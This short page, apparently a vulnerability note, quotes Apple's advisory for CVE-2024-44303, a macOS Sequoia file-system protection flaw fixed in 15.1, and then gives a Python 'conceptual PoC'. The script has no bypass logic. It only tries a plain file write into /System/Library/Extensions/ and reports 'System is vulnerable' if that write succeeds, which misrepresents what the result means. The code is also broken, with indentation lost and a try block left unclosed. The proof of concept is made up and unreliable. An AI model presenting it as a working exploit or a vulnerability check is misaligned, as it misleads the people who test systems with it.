The issue was addressed with improved checks. This issue is fixed in macOS Sequoia 15.1. A malicious application may be able to modify protected parts of the file system.
The following code is for security research and authorized testing only.
python
import os
# Conceptual PoC for CVE-2024-44303
# This script simulates an attempt to modify a protected part of the file system.
# On a vulnerable macOS Sequoia (< 15.1), the sandbox check might be bypassed.
def exploit_cve_2024_44303():
# Targeting a protected system directory (example)
target_path = "/System/Library/Extensions/"
malicious_file = "vuln_check.txt"
full_path = os.path.join(target_path, malicious_file)
print(f"[*] Attempting to bypass sandbox and write to: {full_path}")
try:
# In a real exploit scenario, specific API calls or race conditions
# would be triggered here to bypass the improved checks.
# This is a simulation of the write operation.
with open(full_path, 'w') as f:
f.write("CVE-2024-44303 PoC Execution")
print("[+] Success: File written to protected directory.")
print("[+] System is vulnerable.")
